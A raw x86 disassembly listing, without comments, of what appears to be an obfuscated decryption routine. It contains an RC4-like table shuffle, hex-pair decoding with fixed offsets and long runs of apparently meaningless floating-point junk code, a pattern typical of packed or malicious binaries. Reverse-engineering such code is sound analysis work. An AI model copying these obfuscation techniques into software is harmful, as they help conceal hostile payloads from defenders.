ja 0x483e21
cmp dh, byte [edx]
pop esp
outsb dx, byte [esi]
jmp 0x48699f
mov dword [ebp - 0x61f8], 0x483dc3
mov dword [ebp - 0x61fc], 0x483ddf
mov eax, dword [ebp - 0x61f8]
mov dword [ebp - 0x3e04], eax
mov ecx, dword [ebp - 0x61fc]
mov dword [ebp - 0x6244], ecx
mov byte [ebp - 0x41a1], 0x1b
mov dword [ebp - 0x36cc], 0
mov dword [ebp - 0x4e24], 0
mov dword [ebp - 0x36cc], 0
jmp 0x483e5d
mov edx, dword [ebp - 0x36cc]
add edx, 1
mov dword [ebp - 0x36cc], edx
cmp dword [ebp - 0x36cc], 0x100
jae 0x483e83
mov eax, dword [ebp - 0x36cc]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov dl, byte [ebp - 0x36cc]
mov byte [eax + ecx], dl
jmp 0x483e4e
mov dword [ebp - 0x4e24], 0
mov byte [ebp - 0x3775], 0
mov dword [ebp - 0x36cc], 0xff
jmp 0x483eaf
mov eax, dword [ebp - 0x36cc]
sub eax, 1
mov dword [ebp - 0x36cc], eax
cmp dword [ebp - 0x36cc], 0
jbe 0x484175
mov dword [ebp - 0x58e0], 0
mov dword [ebp - 0x5418], 1
mov dword [ebp - 0x48ac], 0
mov ecx, dword [ebp - 0x5418]
cmp ecx, dword [ebp - 0x36cc]
jae 0x483efb
mov edx, dword [ebp - 0x5418]
shl edx, 1
add edx, 1
mov dword [ebp - 0x5418], edx
jmp 0x483eda
mov eax, dword [ebp - 0x4e24]
mov dword [ebp - 0x5f4c], eax
cmp dword [ebp - 0x5f4c], 3
ja case.default.0x483f1a
mov ecx, dword [ebp - 0x5f4c]
jmp dword [ecx*4 + 0x4f075c]
movzx edx, byte [ebp - 0x3775]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x56f0]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3775], bl
jmp 0x484021
movzx ecx, byte [ebp - 0x3775]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x56f0]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3775], bl
jmp 0x484021
movzx eax, byte [ebp - 0x3775]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56f0]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3775], bl
jmp 0x484021
movzx edx, byte [ebp - 0x3775]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x56f0]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3775], bl
jmp 0x484021
movzx ecx, byte [ebp - 0x3775]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4e24]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x6244]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3775], al
mov eax, dword [ebp - 0x4e24]
add eax, 1
mov dword [ebp - 0x4e24], eax
movzx ecx, byte [ebp - 0x41a1]
cmp dword [ebp - 0x4e24], ecx
jb 0x48405f
mov dword [ebp - 0x4e24], 0
movzx edx, byte [ebp - 0x41a1]
movzx eax, byte [ebp - 0x3775]
add eax, edx
mov byte [ebp - 0x3775], al
movzx ecx, byte [ebp - 0x3775]
and ecx, dword [ebp - 0x5418]
mov dword [ebp - 0x48ac], ecx
mov edx, dword [ebp - 0x58e0]
add edx, 1
mov dword [ebp - 0x58e0], edx
cmp dword [ebp - 0x58e0], 0xb
jbe 0x48409e
mov eax, dword [ebp - 0x48ac]
xor edx, edx
div dword [ebp - 0x36cc]
mov dword [ebp - 0x48ac], edx
mov eax, dword [ebp - 0x48ac]
cmp eax, dword [ebp - 0x36cc]
ja 0x483efb
mov ecx, dword [ebp - 0x36cc]
cmp ecx, dword [ebp - 0x48ac]
je 0x484170
mov edx, dword [ebp - 0x36cc]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov ecx, dword [ebp - 0x48ac]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x36cc]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x48ac]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov ecx, dword [ebp - 0x36cc]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x48ac]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x36cc]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov ecx, dword [ebp - 0x48ac]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x36cc]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov byte [eax + ecx], dl
jmp 0x483ea0
mov edx, 1
shl edx, 0
lea eax, [ebp - 0xe9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3573], cl
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0xe9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x358e], dl
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0xe9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3633], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0xe9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x358f], cl
movzx edx, byte [ebp - 0x3775]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35bf], cl
mov dword [ebp - 0x5d34], 0x1c
cmp dword [ebp - 0x5d34], 2
jle 0x48694e
mov edx, dword [ebp - 0x5d34]
and edx, 1
jne 0x48694e
mov dword [ebp - 0x36cc], 0
mov dword [ebp - 0x38e0], 0
mov eax, dword [ebp - 0x38e0]
add eax, 1
mov dword [ebp - 0x38e0], eax
mov dword [ebp - 0x3d6c], 0
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
mov dword [ebp - 0x3d6c], ecx
mov dword [ebp - 0x3c24], 0
mov edx, dword [ebp - 0x3d6c]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3c24]
mov dword [ebp - 0x3c24], eax
mov dword [ebp - 0x3c28], 0
mov ecx, dword [ebp - 0x3c28]
add ecx, 0xe6
mov dword [ebp - 0x3c28], ecx
mov dword [ebp - 0x3d68], 0
mov edx, dword [ebp - 0x36cc]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d68], edx
mov dword [ebp - 0x3c2c], 0
mov eax, dword [ebp - 0x3d68]
shl eax, 0
add eax, dword [ebp - 0x3e04]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3c2c]
mov dword [ebp - 0x3c2c], ecx
mov dword [ebp - 0x3c30], 0
mov edx, dword [ebp - 0x3c30]
add edx, 0x59
mov dword [ebp - 0x3c30], edx
mov dword [ebp - 0x3c34], 0
mov eax, dword [ebp - 0x3c24]
sub eax, dword [ebp - 0x3c28]
add eax, dword [ebp - 0x3c34]
mov dword [ebp - 0x3c34], eax
mov dword [ebp - 0x3c38], 0
mov ecx, dword [ebp - 0x3c2c]
sub ecx, dword [ebp - 0x3c30]
add ecx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3c38], ecx
mov dword [ebp - 0x3d64], 0
mov edx, dword [ebp - 0x3c34]
shl edx, 4
mov dword [ebp - 0x3d64], edx
mov dword [ebp - 0x3d60], 0
mov eax, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], eax
mov dword [ebp - 0x3d5c], 0
mov ecx, dword [ebp - 0x3d64]
or ecx, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], ecx
mov byte [ebp - 0x3635], 0
mov dl, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], dl
mov byte [ebp - 0x362c], 0
movsd xmm0, qword [0x9db028]
movsd qword [ebp - 0x4fe4], xmm0
movsd xmm0, qword [0x9dae58]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [0x9dac08]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [0x9da990]
movsd qword [ebp - 0x5050], xmm0
movsd xmm0, qword [0x9da730]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [0x9da478]
movsd qword [ebp - 0x4954], xmm0
movsd xmm0, qword [ebp - 0x4964]
mulsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [ebp - 0x495c]
mulsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x49cc]
subsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [ebp - 0x5050]
subsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x5050], xmm0
movsd xmm0, qword [ebp - 0x5050]
addsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x5050], xmm0
movsd xmm0, qword [ebp - 0x49cc]
addsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [ebp - 0x4954]
comisd xmm0, xmmword [ebp - 0x4964]
jbe 0x4846fa
movsd xmm0, qword [ebp - 0x49cc]
divsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [ebp - 0x495c]
divsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x495c]
mulsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x4954]
subsd xmm0, qword [ebp - 0x4fe4]
movsd qword [ebp - 0x4954], xmm0
movsd xmm0, qword [ebp - 0x5050]
addsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x5050], xmm0
movsd xmm0, qword [ebp - 0x495c]
subsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x49cc]
divsd xmm0, qword [ebp - 0x5050]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [ebp - 0x4964]
divsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [ebp - 0x4fe4]
mulsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x4fe4], xmm0
movsd xmm0, qword [ebp - 0x495c]
divsd xmm0, qword [ebp - 0x4fe4]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x5050]
subsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x5050], xmm0
movsd xmm0, qword [ebp - 0x4fe4]
subsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x4fe4], xmm0
movsd xmm0, qword [ebp - 0x4954]
comisd xmm0, xmmword [ebp - 0x49cc]
jbe 0x484665
movsd xmm0, qword [ebp - 0x495c]
addsd xmm0, qword [ebp - 0x4fe4]
movsd qword [ebp - 0x495c], xmm0
movsd xmm0, qword [ebp - 0x4fe4]
mulsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x4fe4], xmm0
movsd xmm0, qword [ebp - 0x5050]
subsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x5050], xmm0
movsd xmm0, qword [ebp - 0x4954]
subsd xmm0, qword [ebp - 0x49cc]
movsd qword [ebp - 0x4954], xmm0
movsd xmm0, qword [ebp - 0x4fe4]
divsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x4fe4], xmm0
movsd xmm0, qword [ebp - 0x4954]
addsd xmm0, qword [ebp - 0x49cc]
movsd qword [ebp - 0x4954], xmm0
jmp 0x4846f5
movsd xmm0, qword [ebp - 0x49cc]
subsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [ebp - 0x49cc]
addsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [ebp - 0x49cc]
addsd xmm0, qword [ebp - 0x4964]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [ebp - 0x4fe4]
mulsd xmm0, qword [ebp - 0x49cc]
movsd qword [ebp - 0x4fe4], xmm0
movsd xmm0, qword [ebp - 0x5050]
divsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x5050], xmm0
movsd xmm0, qword [ebp - 0x4954]
addsd xmm0, qword [ebp - 0x4fe4]
movsd qword [ebp - 0x4954], xmm0
jmp 0x4847a3
movsd xmm0, qword [ebp - 0x4964]
mulsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [ebp - 0x4964]
subsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [ebp - 0x49cc]
subsd xmm0, qword [ebp - 0x5050]
movsd qword [ebp - 0x49cc], xmm0
movsd xmm0, qword [ebp - 0x495c]
mulsd xmm0, qword [ebp - 0x4fe4]
movsd qword [ebp - 0x495c], xmm0
movzx eax, byte [ebp - 0x35bf]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x362c], dl
movsd xmm0, qword [ebp - 0x4964]
mulsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x4964], xmm0
movsd xmm0, qword [ebp - 0x4964]
mulsd xmm0, qword [ebp - 0x495c]
movsd qword [ebp - 0x4964], xmm0
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x358e]
add eax, edx
mov byte [ebp - 0x358e], al
mov cl, byte [ebp - 0x3573]
add cl, 1
mov byte [ebp - 0x3573], cl
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov cl, byte [ebp - 0x362c]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x362c]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3633]
add edx, ecx
mov byte [ebp - 0x3633], dl
movzx eax, byte [ebp - 0x3635]
movzx ecx, byte [ebp - 0x358e]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x358f]
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3633]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x358f], al
mov al, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], al
mov cl, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], cl
cmp dword [ebp - 0x36cc], 0
jbe 0x48496d
mov edx, dword [ebp - 0x36cc]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x2dc]
mov cl, byte [ebp - 0x36fb]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x38e0]
add edx, 3
mov dword [ebp - 0x38e0], edx
mov eax, dword [ebp - 0x36cc]
add eax, 1
mov dword [ebp - 0x4e28], eax
jmp 0x48499c
mov ecx, dword [ebp - 0x4e28]
add ecx, 1
mov dword [ebp - 0x4e28], ecx
mov edx, dword [ebp - 0x4e28]
cmp edx, dword [ebp - 0x38e0]
jge 0x484f88
mov eax, dword [ebp - 0x36cc]
add eax, 1
mov dword [ebp - 0x36cc], eax
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
mov dword [ebp - 0x3d6c], ecx
mov edx, dword [ebp - 0x3d6c]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
mov dword [ebp - 0x3c24], eax
movss xmm0, dword [0x9db8d4]
movss dword [ebp - 0x3c1c], xmm0
movss xmm0, dword [0x9db774]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [0x9db500]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [ebp - 0x3e00]
mulss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [ebp - 0x3c1c]
mulss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3c1c], xmm0
movss xmm0, dword [ebp - 0x3c1c]
addss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3c1c], xmm0
movss xmm0, dword [ebp - 0x3c1c]
comiss xmm0, dword [ebp - 0x3c20]
jbe 0x484ac3
movss xmm0, dword [ebp - 0x3c20]
mulss xmm0, dword [ebp - 0x3c1c]
movss dword [ebp - 0x3c20], xmm0
mov dword [ebp - 0x3c28], 0xe6
movss xmm0, dword [ebp - 0x3c1c]
subss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x3c1c], xmm0
movss xmm0, dword [ebp - 0x3e00]
addss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3e00], xmm0
jmp 0x484bf6
movss xmm0, dword [ebp - 0x3e00]
addss xmm0, dword [ebp - 0x3c1c]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [ebp - 0x3e00]
mulss xmm0, dword [ebp - 0x3c1c]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [ebp - 0x3c1c]
subss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3c1c], xmm0
movss xmm0, dword [ebp - 0x3c1c]
divss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3c1c], xmm0
movss xmm0, dword [ebp - 0x3c20]
divss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [ebp - 0x3c20]
subss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [ebp - 0x3c20]
comiss xmm0, dword [ebp - 0x3e00]
jbe 0x484bae
movss xmm0, dword [ebp - 0x3e00]
subss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [ebp - 0x3c1c]
addss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x3c1c], xmm0
movss xmm0, dword [ebp - 0x3c1c]
addss xmm0, dword [ebp - 0x3e00]
movss dword [ebp - 0x3c1c], xmm0
jmp 0x484bf6
movss xmm0, dword [ebp - 0x3e00]
mulss xmm0, dword [ebp - 0x3c20]
movss dword [ebp - 0x3e00], xmm0
movss xmm0, dword [ebp - 0x3c20]
divss xmm0, dword [ebp - 0x3c1c]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [ebp - 0x3c20]
divss xmm0, dword [ebp - 0x3c1c]
movss dword [ebp - 0x3c20], xmm0
movss xmm0, dword [0x9db880]
movss dword [ebp - 0x46ac], xmm0
movss xmm0, dword [0x9db6cc]
movss dword [ebp - 0x46b0], xmm0
movss xmm0, dword [0x9db4a8]
movss dword [ebp - 0x4f68], xmm0
movss xmm0, dword [ebp - 0x46b0]
mulss xmm0, dword [ebp - 0x4f68]
movss dword [ebp - 0x46b0], xmm0
movss xmm0, dword [ebp - 0x46ac]
mulss xmm0, dword [ebp - 0x4f68]
movss dword [ebp - 0x46ac], xmm0
movss xmm0, dword [ebp - 0x46b0]
mulss xmm0, dword [ebp - 0x4f68]
movss dword [ebp - 0x46b0], xmm0
movss xmm0, dword [ebp - 0x46b0]
comiss xmm0, dword [ebp - 0x4f68]
jbe 0x484cda
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3d68], ecx
movss xmm0, dword [ebp - 0x46b0]
subss xmm0, dword [ebp - 0x46ac]
movss dword [ebp - 0x46b0], xmm0
movss xmm0, dword [ebp - 0x46ac]
addss xmm0, dword [ebp - 0x4f68]
movss dword [ebp - 0x46ac], xmm0
movss xmm0, dword [ebp - 0x46b0]
subss xmm0, dword [ebp - 0x46ac]
movss dword [ebp - 0x46b0], xmm0
jmp 0x484d22
movss xmm0, dword [ebp - 0x46ac]
addss xmm0, dword [ebp - 0x46b0]
movss dword [ebp - 0x46ac], xmm0
movss xmm0, dword [ebp - 0x46ac]
mulss xmm0, dword [ebp - 0x46b0]
movss dword [ebp - 0x46ac], xmm0
movss xmm0, dword [ebp - 0x4f68]
addss xmm0, dword [ebp - 0x46ac]
movss dword [ebp - 0x4f68], xmm0
mov edx, dword [ebp - 0x3d68]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
mov dword [ebp - 0x3c2c], eax
mov dword [ebp - 0x3c30], 0x59
mov ecx, dword [ebp - 0x3c24]
sub ecx, dword [ebp - 0x3c28]
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3c2c]
sub edx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c38], edx
mov eax, dword [ebp - 0x3c34]
shl eax, 4
mov dword [ebp - 0x3d64], eax
mov ecx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], ecx
mov edx, dword [ebp - 0x3d64]
or edx, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], edx
mov al, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], al
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea edx, [ebp - 0xe9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x362c], al
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x358e]
add ecx, eax
mov byte [ebp - 0x358e], cl
mov dl, byte [ebp - 0x3573]
add dl, 1
mov byte [ebp - 0x3573], dl
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov dl, byte [ebp - 0x362c]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x362c]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3633]
add eax, edx
mov byte [ebp - 0x3633], al
movzx ecx, byte [ebp - 0x3635]
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea esi, [ebp - 0xe9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3633]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x358f], cl
mov cl, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], cl
mov dl, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], dl
cmp dword [ebp - 0x36cc], 0
jbe 0x484f83
mov eax, dword [ebp - 0x36cc]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x2dc]
mov dl, byte [ebp - 0x36fb]
mov byte [eax + ecx], dl
jmp 0x48498d
mov eax, dword [ebp - 0x38e0]
add eax, 1
mov dword [ebp - 0x38e0], eax
mov ecx, dword [ebp - 0x36cc]
add ecx, 1
mov dword [ebp - 0x36cc], ecx
mov edx, dword [ebp - 0x38e0]
add edx, 1
mov dword [ebp - 0x38e0], edx
mov eax, dword [ebp - 0x36cc]
shl eax, 1
mov dword [ebp - 0x3d6c], eax
mov ecx, dword [ebp - 0x3d6c]
shl ecx, 0
add ecx, dword [ebp - 0x3e04]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c24], edx
mov dword [ebp - 0x3c28], 0xe6
mov eax, dword [ebp - 0x36cc]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d68], eax
mov ecx, dword [ebp - 0x3d68]
shl ecx, 0
add ecx, dword [ebp - 0x3e04]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c2c], edx
mov dword [ebp - 0x3c30], 0x59
mov eax, dword [ebp - 0x3c24]
sub eax, dword [ebp - 0x3c28]
mov dword [ebp - 0x3c34], eax
mov ecx, dword [ebp - 0x3c2c]
sub ecx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c38], ecx
mov edx, dword [ebp - 0x3c34]
shl edx, 4
mov dword [ebp - 0x3d64], edx
mov eax, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], eax
mov ecx, dword [ebp - 0x3d64]
or ecx, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], ecx
movsd xmm0, qword [0x9dad90]
movsd qword [ebp - 0x4ef4], xmm0
movsd xmm0, qword [0x9da9e0]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [0x9da5d8]
movsd qword [ebp - 0x4fdc], xmm0
movsd xmm0, qword [ebp - 0x4ef4]
addsd xmm0, qword [ebp - 0x4fdc]
movsd qword [ebp - 0x4ef4], xmm0
movsd xmm0, qword [ebp - 0x449c]
addsd xmm0, qword [ebp - 0x4fdc]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [ebp - 0x449c]
addsd xmm0, qword [ebp - 0x4fdc]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [ebp - 0x4fdc]
comisd xmm0, xmmword [ebp - 0x449c]
jbe 0x48522d
movsd xmm0, qword [ebp - 0x449c]
addsd xmm0, qword [ebp - 0x4fdc]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [ebp - 0x449c]
mulsd xmm0, qword [ebp - 0x4fdc]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [ebp - 0x4ef4]
subsd xmm0, qword [ebp - 0x449c]
movsd qword [ebp - 0x4ef4], xmm0
movsd xmm0, qword [ebp - 0x4fdc]
addsd xmm0, qword [ebp - 0x449c]
movsd qword [ebp - 0x4fdc], xmm0
movsd xmm0, qword [ebp - 0x449c]
addsd xmm0, qword [ebp - 0x4ef4]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [ebp - 0x449c]
mulsd xmm0, qword [ebp - 0x4ef4]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [ebp - 0x4fdc]
comisd xmm0, xmmword [ebp - 0x4ef4]
jbe 0x4851e3
movsd xmm0, qword [ebp - 0x4ef4]
mulsd xmm0, qword [ebp - 0x449c]
movsd qword [ebp - 0x4ef4], xmm0
movsd xmm0, qword [ebp - 0x4ef4]
divsd xmm0, qword [ebp - 0x449c]
movsd qword [ebp - 0x4ef4], xmm0
movsd xmm0, qword [ebp - 0x4fdc]
mulsd xmm0, qword [ebp - 0x4ef4]
movsd qword [ebp - 0x4fdc], xmm0
jmp 0x48522b
